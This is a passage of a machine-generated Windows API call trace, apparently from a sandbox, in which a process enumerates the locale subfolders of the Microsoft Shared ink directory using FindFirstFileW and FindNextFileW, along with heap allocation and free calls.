dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.752] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0069.752] GetProcessHeap () returned 0x550000 [0069.752] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.757] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.757] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0069.757] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0069.757] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0069.757] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0069.758] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0069.758] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0069.758] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0069.758] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0069.758] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0069.758] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0069.759] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0069.759] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0069.759] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0069.759] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0069.760] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0069.760] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0069.760] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0069.760] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0069.761] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0069.761] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0069.761] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0069.761] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0069.761] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.762] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0069.762] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0069.762] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.764] GetProcessHeap () returned 0x550000 [0069.764] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.764] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0069.765] GetProcessHeap () returned 0x550000 [0069.765] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.766] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.766] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.766] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.766] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.766] GetProcessHeap () returned 0x550000 [0069.766] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.766] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0069.766] GetProcessHeap () returned 0x550000 [0069.767] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.774] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.774] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.774] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.774] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.775] GetProcessHeap () returned 0x550000 [0069.775] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.775] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0069.775] GetProcessHeap () returned 0x550000 [0069.775] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.776] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.776] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.776] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.776] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.776] GetProcessHeap () returned 0x550000 [0069.776] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.776] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, 